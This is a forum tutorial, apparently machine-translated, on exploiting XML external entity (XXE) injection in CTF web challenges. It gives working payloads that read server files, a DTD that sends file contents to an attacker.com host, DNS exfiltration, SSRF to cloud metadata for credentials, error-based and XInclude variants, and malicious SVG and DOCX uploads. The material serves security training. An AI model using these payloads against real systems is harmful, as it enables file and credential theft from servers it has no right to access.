XXE injections in CTF: step-by-step operation

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
464
Reaction score
738
Deposit
0$
Essences work as variables. Announced in the block <!DOCTYPE> through <!ENTITY name "value"> and are framed in the document as &name;. Internal stores value right in the ad. External – upload data from a file or URL through a keyword SYSTEM: <!ENTITY xxe SYSTEM "file:///etc/passwd">. It is the external entities that turn the harmless parser into a tool for reading arbitrary files.

DTD (Document Type Definition) is a block at the beginning of an XML document that specifies the structure and declarations of entities. There is an internal (built into <!DOCTYPE ... [ ... ]>) and external (loaded by URL). DTD is the entry point for XXE injections: this is where malicious external entities are declared.

Parameter entities – a separate kind of entities living only inside the DTD. Announced through <!ENTITY % name ...> and are called as %name;. Without them, blind exfiltration is impossible: ordinary entities cannot be invested in each other, and parameter entities can be, which allows you to dynamically collect URLs with the contents of the file.

Billions DoS-attacks via XML, where entities refer to each other exponentially. A dozen invested <!ENTITY> unfolds into gigabytes of data and puts the parser. In CTF, this vector is rare (the flag is not so good), but it is worth knowing it - you understand why parsers limit the depth of nesting.

Separately, it is worth mentioning CVE-2018-1000838 (CWE-611) — XXE-vulnerability in the forensic platform Autopsy versions up to 4.9.0 (NVD does not assign CVSS-score for this CVE; independent calculation of OSV.dev by vector CVSS:3.0/AV/NAC:NAC: The attack through the malicious CaseMetadata file allowed you to read sensitive data, cause denial of service, perform SSRF and port scanning. Not laugh billions, but the classic XXE through the XML parser — but shows well how CWE-611 manifests itself in desktop instruments.

By classification: OWASP Top 10 2021 attributes XXE vulnerability to A05:2021 — Security Misconfiguration (at the time of writing, the official edition of OWASP Top 10 2025 is not published; the classification of XXE in future editions may change). According to CWE, this is CWE-611 (Improper Restriction of XML External Entity Reference) – the application processes an XML document with URIs that go beyond the controlled perimeter. Effects of CWE-611: Reading application data (Confidentiality), bypassing protection mechanisms (Integrity) and consumption of CPU resources (Availability).

In terms of MITRE ATT&CK, the operation of the XXE injection is a technique of Exploit Public-Facing Application (T1190, Initial Access): the attacker hits the publicly available web-endpoint. The result can be Credentials In Files (T1552.001, Credential Access) when reading password configs or Data from Local System (T1005, Collection) when extracting arbitrary files.
Classic XXE-injection: reading files on the server

The most common scenario in CTF tasks of the web category. Condition: the application accepts XML, the parser processes the external entities, the result of parsing is displayed in the answer.

A typical entry point is the API-endpoint that receives XML in the POST query body. On CTF it can be a feedback form, a configuration parser, a check of the availability of the product (as in PortSwigger labs with stockCheck). Task: find the field in XML, the value of which is reflected in the answer, and put there an entity with a protocol file://.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data><input>&xxe;</input></data>

Parser substitutes content /etc/passwd instead of &xxe; and returns it in the answer. See root:x:0:0:root:/root:/bin/bash — XXE vulnerability confirmed.

What to read first when operating XXE in CTF:

/etc/passwd – confirmation of the XML processing vulnerability and the user list
/proc/self/environ – variables of the process environment (often there is a flag, a path to it or secret keys)
/flag.txt, /home/ctf/flag.txt, /app/flag, /root/flag – standard location of flags
/proc/self/cwd/app.py or /proc/self/cwd/server.js – application source code through /proc/self/cwd (Symbolic link to the working directory of the process)
/proc/self/cmdline – full command line of launch, opens the way to the script

Typical rake and how to bypass them. Payload does not work - check in order. First: XML validity. Unclosed tag, missed quotation rivet – the parser will reject the document before the entities are processed. Second: Encoding. If the application is waiting for UTF-8, and you send with another - the parser will refuse. Third: the right field. Not every value from XML comes in response — test each data node individually, as PortSwigger recommends. Fourth: the contents of the file breaks XML. If there are characters in the file <, >, & - the parser falls with a mistake.

For PHP applications, the problem of special characters is solved by the wrapper php://filter/convert.base64-encode/resource=/etc/passwd instead of direct file:///etc/passwd. The result will return to base64, without symbols breaking the XML structure. Decoding through base64 -d and read.
SSRF via XXE: from reading files to internal services

XXE injection is not just about files. Here begins the most interesting.

Peyload: <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">. On AWS infrastructure, this request to the metadata endpoint returns IAM roles and temporary instance credenshels. According to HackTricks, SSRF via XXE to cloud metadata is a working vector in cloud CTF scenarios where the task is deployed on EC2 or similar services.

For internal exploration tasks through SSRF – go over ports and addresses: http://127.0.0.1:8080, http://localhost:3000, http://internal-api:5000. If the response from the internal service is displayed in the response of the application, it is full SSRF with two-way interaction. Not displayed - slid SSRF, but it can also be critical (reset the password through the internal API, access to the database).

In real CVE XXE-vulnerability confirmed many times. CVE-2021-20454 (CVSS 8.2 HIGH, CVSS vector:3.1/AV:N/AC:L/PR:N/UI:N/SU/CH/I:N/A:L) — IBM WebSphere Application Server versions 7.0, 8.0, 8.5 and 9.0 were vulnerable to X. According to the official description of the NVD, the remote attacker could disclose sensitive data (C:H) or cause memory resource consumption (A:L); SSRF in the description of NVD for this CVE is not mentioned. CVE-2019-12153 (CWE-918) — SSRF via HTML parser in RealObjects PDFreactor to version 10.1.10722 (not related to XML injection). CVE-2019-12154 (CWE-611) is a separate XXE vulnerability of the XML parser of the same library, which allowed the disclosure of local files.
Blind XXE: Exfiltration without withdrawal in response

On the CTF of medium and high complexity, the value of the substitute does not appear in the answer. The application parsits XML, but only responds to "Success," "Error" or 200 bodyless status. This is blind XXE – and here the arsenal is expanding.
OOB XXE attack via external DTD

Out-of-band (OOB) Exfiltration — the technique of sending read data to a controlled attacking server via DNS or HTTP. The mechanism is built on parameter entities: they allow you to enter the contents of the file in the URL of the external request.

The scheme of the attack in three steps. Attacking host malicious DTD file on its server. Payload causes the target parser to load this DTD. Inside the DTD, the input parameter entities read the file and send its contents GET-parameter to the attacker's server.

Malicious DTD file (housed on http://attacker.com/evil.dtd:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
'http://attacker.com/?d=%file;'>">
%eval;
%exfil;

Payload to send to the app: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]> and any valid XML element after. Parser downloads external DTD, executes the announcement %eval; (which creates the essence %exfil; with a URL containing %file;), then performs %exfil; – and contents /etc/hostname goes GET-parameter to the server of the attacker.

Tools for receiving OOB-requests for CTF:

interactsh-client by ProjectDiscovery — free OOB tool, launched by one team, generates a unique domain, logs all DNS and HTTP addresses to it
Burp Collaborator in Pro version - built-in OOB-receiver, integration with Repeater
python3 -m http.server 8888 – minimum option, see GET requests in the terminal
On HackTheBox and similar platforms, a VPN interface (tun0) is usually available, through which the task server can reach your machine

The problem with multi-line files in OOB. HTTP-URL does not support line transfer. For /etc/passwd OOB will return only the first line via HTTP or issue a parser error. Solutions: use php://filter/convert.base64-encode for coding (if backend to PHP); read files without transfers (/etc/hostname, single-line flags); FTP-exfiltration — raise the FTP server that receives multi-line data (script xxe-ftp-server.rb, described in HackTricks, solves this problem).

DNS-exfiltration as fallback. If HTTP is blocked outward, DNS often remains open. Peyload: <!ENTITY % exfil SYSTEM "http://%file;.your-domain.com/">. File content is included in the DNS request as a subdomain — interactsh or Burp Collaborator will record it. The length is limited to 63 characters per tag and 253 to the entire domain, but there is enough for flags.
Error-based XXE with local DTD

Outbound connections are locked completely – neither HTTP nor DNS outwards. On the CTF, that means the OOB XXE attack will not pass. There is an error-based: to force the parser to throw away the error message containing the data from the file.

Idea: to declare an entity with the contents of the target file, then use that content as a path to a non-existent resource. The parser will try to open the file along this path, will not find it and will return the error of view file not found: [содержимое_целевого_файла]. It's dirty, but it works.

The main problem: XML-specification prohibits the investment of parameter entities in internal DTD. You need an external DTD to invest, and outbound is blocked. The solution is to reuse DTD files that are already on the server. There are almost always on Linux systems /usr/share/xml/fontconfig/fonts.dtd or /usr/share/yelp/dtd/docbookx.dtd, containing paraviewmeter-ads that can be overridden.

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM
"file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///etc/hostname">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; err
SYSTEM &#x27;file:///nonexist/%file;&#x27;>">
&#x25;eval; &#x25;err;
<!ELEMENT a (b'>
%local_dtd;
]><foo>a</foo>

How it works: %local_dtd; downloads a system file fonts.dtd. There's an announcement in it %expr; – but we redefined it earlier (the first definition has priority). Our definition %expr; out of the context of the original announcement through aaa)>, announces %file; (the contents of the target file), designs %err; (the appeal to the non-existent path with the contents of the file) and causes both entities. Parser error contains data from /etc/hostname - here's your flag.

Search for suitable DTDs on the server. If fonts.dtd absent – go over other standard ways: /usr/share/sgml/docbook/xml-dtd-4.1.2/docbookx.dtd, /usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd, /usr/share/yelp/dtd/docbookx.dtd. According to the book J. Woltjer, a particular payloade depends on the context of the overdetermined entity in each DTD — templates for five different contexts are available in profile payload collections. In Java applications, you can access DTDs inside JAR files via the protocol jar:file:///.
XXE by Downloading Files: SVG and Office Documents

Not every CTF task accepts the “naked” XML via POST. Often the entry point is downloading files: avatar, a summary, a table with data. Behind the scenes, these formats are based on XML, and XML processing vulnerabilities are manifested in server parsing.

SVG – vector image format built on XML. If the application accepts the download of pictures and processes SVG on the server (resize, validation, rendering in PNG), the XXE-payload is built directly into the SVG file. Create a file evil.svg with DOCTYPE at the beginning: <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>, then in the element <text x="10" y="20">&xxe;</text> – when rendering, the contents of the file will appear on the resulting image. Even if the application awaits PNG or JPEG, the processing library (ImageMagick, librsvg, Batik) can support SVG and process a malicious file.

DOCX, XLSX, PPTX – ZIP archives with XML files inside. Files [Content_Types].xml, word/document.xml, xl/sharedStrings.xml – full-fledged XML documents that the parser processes when loading. Operation Algorithm: Create a legitimate document; unpack it unzip report.docx -d report/; implement XXE-payload in one of the XML files (most often [Content_Types].xml); pack back cd report && zip -r ../evil.docx .; upload to the server. According to YesWeHack, there is a XXElixir tool for XLSX payload automation.

In CVE-2019-0340 (CWE-611), downloading files with XXE blanks allowed you to read local files in SAP Enable Now before version 1902 – the parser was not tempered, and the vulnerability sat in several file download points.
Bypass filters: Xinclude, Content-Type and encoding

On the CTF of increased complexity, the direct DOCTYPE is blocked by a WAF or custom filter. We'll look at the bypass techniques.
Xinclude – when DOCTYPE is not available

The application receives data from the client and inserts it into the server XML document (SOAP-request, template). Only the value of one field is controlled - it is impossible to declare DOCTYPE. Here works Xinclude, the mechanism of assembly of XML-document from fragments.

Payload for substitution in the field: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>. Xinclude does not require DOCTYPE and operates from anywhere in the XML document. According to PortSwigger, this vector is applicable when the client’s data is placed in the backend SOAP request.
Content-Type manipulation

The app looks like a JSON API, but the framework automatically parsits XML when changing the title. Replace Content-Type: application/json on Content-Type: application/xml or text/xml and send XML payload instead of the JSON body. On CTF, this is a frequent trap: the task pretends to be REST API with JSON, but the server framework can silently process both formats if XML addiction is connected (for example, Jackson XML module or JAXB in Spring Boot, xml-body-parser in Express) is not default behavior, but depends on the installed libraries. According to HackTricks, the same is the way switching with application/x-www-form-urlencoded on application/xml.
UTF-7 and obfuscation of codings

If the WAF or filter blocks the strings <!DOCTYPE, <!ENTITY, SYSTEM – change the encoding of the XML document. In UTF-7 symbols <! coded as +ADwAIQ-, the rest of the line remains in ASCII, giving +ADwAIQ-DOCTYPE. XML Header: <?xml version="1.0" encoding="UTF-7"?>. But this technique only works against parsers clearly supporting UTF-7 (e.g., older versions. NET Framework XmlDocument) – most modern parsers (libxml2, Java XML API, lxml) UTF-7 do not understand or require explicit resolution. Check compatibility with a specific parser on the stand.

More circumvention options: HTML-entities inside DTD (&#x3c; instead of <) to bypass simple regular expressions; base64 via PHP wrappers; UTF-16 encoding (BOM \xFF\xFE at the beginning of the file). On CTF, the selection of encodings takes minutes, but often gives results on tasks with non-trivial WAF.
Tools and Checklist for XXE in CTF

Step-by-step algorithm when meeting with a potential XXE injection point:

Determine the entry point. Looking for Content-Type: application/xml or text/xml in HTTP requests via Burp Proxy. Check file upload forms (SVG, DOCX, XLSX). Try changing Content-Type to XML in JSON endpoints. View WSDL files of SOAP services.

Check out the basic XXE. Declare the inner essence <!ENTITY test "hello"> and set up &test; in the field displayed in the response. If hello appears – the parser processes the entities, go to the external: SYSTEM "file:///etc/passwd".

No conclusion → slid XXE. Substitate para entitymeter: <!ENTITY % xxe SYSTEM "http://your-ip:8888/probe"> %xxe; and launch python3 -m http.server 8888. The request has arrived - OOB works, unfold the full scheme with external DTD.

OOB is blocked → error-based. Try parameter to redefine in local DTD entities: fonts.dtd, docbookx.dtd, scrollkeeper-omf.dtd.

DOCTYPE is blocked → XInclucle. Insert xi:include in the available data field.

Everything is filtered → encoding. UTF-7, UTF-16, PHP-wrappers with base64.

Toolkit:

Burp Suite Repeater is the main working tool for iterative modification of XML payloads. They sent a request, saw the answer, corrected the payload, sent again. For OOB-detection - Burp Collaborator (Pro).
Interactive-client – free alternative to Collaborator from the ProjectDiscovery set. Launch: interactsh-client, copy the generated domain in the pailod, see the DNS/HTTP real-time appeals.
Curl – for quick checking without GUI: curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://target/api. More convenient Burp for overkill scripting.
XXEinjector – automates the full OOB-exfiltration cycle: generates DTD, raises HTTP/FTP server, collects extracted data in parts. Useful for multi-line files.
Canarytokens (canarytokens.org) is another free OOB detector: create a DNS token, insert its domain into the XXE payload, get an alert when you trigger.

Protection from XXE (to understand what you break) is reduced to disconnecting the processing of external entities and DTD in the parser. For Java: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
 
Top Bottom